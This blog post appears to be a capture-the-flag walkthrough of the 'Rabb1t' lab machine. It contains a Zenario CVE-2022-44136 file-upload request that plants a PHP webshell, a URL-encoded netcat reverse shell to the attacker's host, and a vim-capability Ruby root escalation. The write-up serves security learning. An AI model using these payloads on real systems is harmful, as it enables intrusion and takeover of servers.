MazeSec-Rabb1t-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
sudo arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: c0:b8:83:c5:6e:2b, IPv4: 192.168.47.89
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.155 08:00:27:f5:c1:b6 PCS Systemtechnik GmbH
192.168.47.206 56:0c:f3:da:11:de (Unknown: locally administered)
^C
export ip=192.168.47.155
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.47.155:22
Open 192.168.47.155:80
Open 192.168.47.155:1024
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 10:43 CST
Initiating ARP Ping Scan at 10:43
Scanning 192.168.47.155 [1 port]
Completed ARP Ping Scan at 10:43, 0.16s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:43
Completed Parallel DNS resolution of 1 host. at 10:43, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:43
Scanning 192.168.47.155 [3 ports]
Discovered open port 80/tcp on 192.168.47.155
Discovered open port 22/tcp on 192.168.47.155
Completed SYN Stealth Scan at 10:43, 0.04s elapsed (3 total ports)
Nmap scan report for 192.168.47.155
Host is up, received arp-response (0.0019s latency).
Scanned at 2025-07-21 10:43:21 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
1024/tcp closed kdm reset ttl 64
MAC Address: 08:00:27:F5:C1:B6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (156B)

目录枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ gobuster dir -u "http://$ip" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403,502
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.47.155
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,403,502
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1613]
===============================================================
Finished
===============================================================

在80端口值存在一个静态页面,没什么价值

动态端口

不过我发现另一个端口一直在变化,一会1046一会1048开放

趁着这会端口开放,赶紧探测一下服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ whatweb $ip:1060 -v
WhatWeb report for http://192.168.47.155:1060
Status : 502 Bad Gateway
Title : <None>
IP : 192.168.47.155
Country : RESERVED, ZZ

Summary :

Detected Plugins:
HTTP Headers:
HTTP/1.1 502 Bad Gateway
Connection: close
Content-Length: 0

有点问题,我尝试直接curl一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ curl $ip:1132 -v --noproxy "*"
* Trying 192.168.47.155:1132...
* Connected to 192.168.47.155 (192.168.47.155) port 1132
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.47.155:1132
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: BaseHTTP/0.6 Python/3.9.2
< Date: Mon, 21 Jul 2025 03:10:16 GMT
< Server: nginx/1.18.0
< Date: Mon, 21 Jul 2025 03:10:16 GMT
< Content-Type: text/html; charset=UTF-8
< Connection: close
< Set-Cookie: PHPSESSID=5f5400420dcb753a2ba83f9f55377b63; expires=Mon, 21 Jul 2025 03:40:16 GMT; Max-Age=1800; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: PHPSESSID=5f5400420dcb753a2ba83f9f55377b63; expires=Mon, 21 Jul 2025 03:40:16 GMT; Max-Age=1800; path=/; HttpOnly
* Invalid Content-Length: value
* closing connection #0
curl: (8) Invalid Content-Length: value

一会又变了,但是你可以发现基准是1024,过一段时间+2,大概是10-15秒左右

这个curl报错curl: (8) Invalid Content-Length: value无效的内容长度值

本来是想利用GPT写个基于动态端口实现的目录枚举,给出的代码又臭又长,遂放弃了

奇怪的是我使用curl就不能显示正常的html数据,而burpsuite就可以

我使用curl进行访问,利用burpsuite代理抓一下返回包

1
❯ curl $ip:1174/index.php -v --proxy "127.0.0.1:8080"

image

从返回信息中可以得知,由nignx进行反向代理,访问本地python开放的8080端口

从html的数据中在<meta>元数据标签中得知的指纹信息是Zenario 9.3.57186

image

文件上传RCE

尝试寻找POC,发现是CVE-2022-44136

https://com0t.github.io/zenar.io/2022/10/18/Unauthent-RCE-Zenar.io~9.3.html

可以进行上传创建shell.php实现rce

具体的利用步骤如下

image

注意速度要快一点,否则端口就变了😅

1
2
3
4
5
6
7
8
9
10
11
12
POST /zenario/ajax.php?method_call=handlePluginAJAX&cID=1&slideId=0&cType=html&instanceId=20&fileUpload HTTP/1.1
Host: X.X.X.X
User-Agent: curl/8.14.1
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryQoxiDY1vGdS5VJbZ
Content-Length: 215

------WebKitFormBoundaryQoxiDY1vGdS5VJbZ
Content-Disposition: form-data; name="Filedata"; filename="rev.php"
Content-Type: image/svg+xml

<?php system($_GET['cmd']);?>
------WebKitFormBoundaryQoxiDY1vGdS5VJbZ--

Repeater中重放,如果端口变了在右上角修改目标端口,修改host头是没用的

image

上传后得到路径如下private/uploads/7j5TeQVdu8YQbKD1cgVlyhNw4DW9MA/rev.php

image

GET访问一下此路径

image

直接反弹shell回来,注意payload要url编码一下

1
2
3
4
5
GET /private/uploads/7j5TeQVdu8YQbKD1cgVlyhNw4DW9MA/rev.php?cmd=%62%75%73%79%62%6f%78%20%6e%63%20%31%39%32%2e%31%36%38%2e%34%37%2e%38%39%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68 HTTP/1.1
Host: 192.168.47.155
User-Agent: curl/8.14.1
Accept: */*
Connection: keep-alive

用户提权

监听端口

1
2
3
4
5
6
7
8
9
10
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.47.89 • 172.18.0.1 • 172.19.0.1 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from Rabb1t~192.168.47.155-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/Rabb1t~192.168.47.155-Linux-x86_64/2025_07_21-15_44_06-998.log 📜
─────────────────────────────────────────────────────────────────────────────
www-data@Rabb1t:~/htm1/private/uploads/7j5TeQVdu8YQbKD1cgVlyhNw4DW9MA$

得知存在普通用户morii

1
2
3
www-data@Rabb1t:~/html$ cat /etc/passwd|grep /bin/bash
root:x:0:0:root:/root:/bin/bash
morii:x:1000:1000::/home/morii:/bin/bash

随便尝试一下弱密码,密码和用户名相同,结果就上去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@Rabb1t:~/html$ su morii
Password:
morii@Rabb1t:/var/www/html$ cd ~
morii@Rabb1t:~$ ls -al
total 24
drwxr-xr-x 2 morii morii 4096 Jul 17 23:02 .
drwxr-xr-x 3 root root 4096 Jul 17 04:10 ..
lrwxrwxrwx 1 root root 9 Jul 17 11:08 .bash_history -> /dev/null
-rw-r--r-- 1 morii morii 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 morii morii 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 morii morii 807 Apr 18 2019 .profile
-rw-r--r-- 1 morii morii 32 Jul 17 11:09 user.txt
morii@Rabb1t:~$ cat user.txt
flag{user_Down the Rabbit-Hole}

虽然有sudo权限,但这个是没什么用的小游戏,开火车🤣恶搞

1
2
3
4
5
6
morii@Rabb1t:~$ sudo -l
Matching Defaults entries for morii on Rabb1t:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/usr/games/

User morii may run the following commands on Rabb1t:
(ALL) NOPASSWD: /usr/games/sl

Root提权

vim存在cap_setsuid的能力

1
2
3
4
morii@Rabb1t:~$ getcap -r / 2>/dev/null
/usr/bin/vim = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

GTFOBins直接秒了,提权是比较简单了

image

虽然靶机中vim版本不支持python,可以通过:version查看支持哪些功能

image

得知可以执行ruby命令

利用ruby提权拿到shell

1
2
morii@Rabb1t:/tmp$ printf "Process::Sys.setuid(0)\nexec(\"/bin/bash\", \"-p\")\n" > /tmp/evil.rb
morii@Rabb1t:/tmp$ vim -c "rubyfile /tmp/evil.rb"

不过这样操作之后的tty会有点问题,输入reset就好了

1
2
3
4
root@Rabb1t:/tmp# id
uid=0(root) gid=1000(morii) groups=1000(morii)
root@Rabb1t:/tmp# cat /root/root.txt
flag{root_Alice’s Evidence}

后记

  • 动态端口功能相关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import time
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.request import Request, urlopen

START_PORT = 1024
PORT_STEP = 2
SWITCH_INTERVAL = 30

class ProxyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.proxy_request()

def do_POST(self):
self.proxy_request()

def proxy_request(self):
try:
# 读取请求体(如果是 POST)
content_length = int(self.headers.get("Content-Length", 0))
post_data = self.rfile.read(content_length) if content_length > 0 else None

# 构造请求到 Nginx
req = Request(
url=f"http://127.0.0.1:8080{self.path}",
data=post_data,
method=self.command, # GET/POST
headers={k: v for k, v in self.headers.items() if k.lower() != "host"}
)
with urlopen(req, timeout=10) as resp:
# 返回响应
self.send_response(resp.status)
for header, value in resp.getheaders():
if header.lower() != "transfer-encoding":
self.send_header(header, value)
self.send_header("Content-Length", str(resp.length))
self.end_headers()
self.wfile.write(resp.read())

except Exception as e:
try:
self.send_error(500, f"Proxy Error: {e}")
except BrokenPipeError:
pass # 忽略客户端断开连接

class DynamicPortServer:
def __init__(self):
self.current_port = START_PORT
self.current_server = None
self.server_thread = None
self.running = True

def run_server(self):
try:
self.current_server = HTTPServer(("0.0.0.0", self.current_port), ProxyHandler)
print(f"[+] Listening on 0.0.0.0:{self.current_port} → Nginx:8080")
self.current_server.serve_forever()
except Exception as e:
print(f"[!] Server error on port {self.current_port}: {e}")
finally:
if self.current_server:
self.current_server.server_close()

def stop_server(self):
if self.current_server:
print(f"[*] Shutting down port {self.current_port}")
self.current_server.shutdown()
self.current_server.server_close()
self.current_server = None

def run(self):
try:
while self.running:
self.stop_server()
self.server_thread = threading.Thread(
target=self.run_server,
daemon=True
)
self.server_thread.start()
time.sleep(SWITCH_INTERVAL)
self.current_port = (self.current_port + PORT_STEP) % 65536
if self.current_port < 1024:
self.current_port = 1024
print(f"[*] Switching to port {self.current_port}")

except KeyboardInterrupt:
print("\n[!] Server stopped by user (Ctrl+C)")
finally:
self.running = False
self.stop_server()

if __name__ == "__main__":
server = DynamicPortServer()
server.run()
总字数 660k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务